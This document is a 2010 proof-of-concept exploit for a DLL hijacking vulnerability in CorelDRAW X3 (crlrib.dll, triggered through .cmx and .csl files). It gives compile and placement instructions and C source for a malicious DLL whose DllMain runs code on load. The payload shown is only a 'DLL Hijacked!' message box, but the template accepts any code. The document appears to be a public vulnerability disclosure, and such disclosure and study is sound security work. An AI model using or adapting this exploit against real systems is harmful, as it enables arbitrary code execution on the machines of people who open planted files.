CorelDRAW X3 13.0.0.576 DLL Hijacking Exploit

`/*  
  
CorelDRAW X3 v13.0.0.576 (crlrib.dll) DLL Hijacking Exploit  
  
Vendor: Corel Corporation  
Product Web Page: http://www.corel.com  
Affected Version: X3 v13.0.0.576  
  
Summary: Graphic design software for striking visual communication.  
  
Desc: CorelDRAW X3 suffers from a dll hijacking vulnerability  
that enables the attacker to execute arbitrary code on a local level. The  
vulnerable extensions are .cmx and .csl thru crlrib.dll library.  
  
----  
gcc -shared -o crlrib.dll coreldrw.c  
  
Compile and rename to crlrib.dll, create a file test.cmx or test.csl and  
put both files in same dir and execute.  
----  
  
Tested on Microsoft Windows XP Professional SP3 (EN)  
  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
liquidworm gmail com  
  
Zero Science Lab - http://www.zeroscience.mk  
  
  
25.08.2010  
  
*/  
  
  
#include <windows.h>  
  
BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)  
{  
  
switch (fdwReason)  
{  
case DLL_PROCESS_ATTACH:  
dll_mll();  
case DLL_THREAD_ATTACH:  
case DLL_THREAD_DETACH:  
case DLL_PROCESS_DETACH:  
break;  
}  
  
return TRUE;  
}  
  
int dll_mll()  
{  
MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);  
}  
`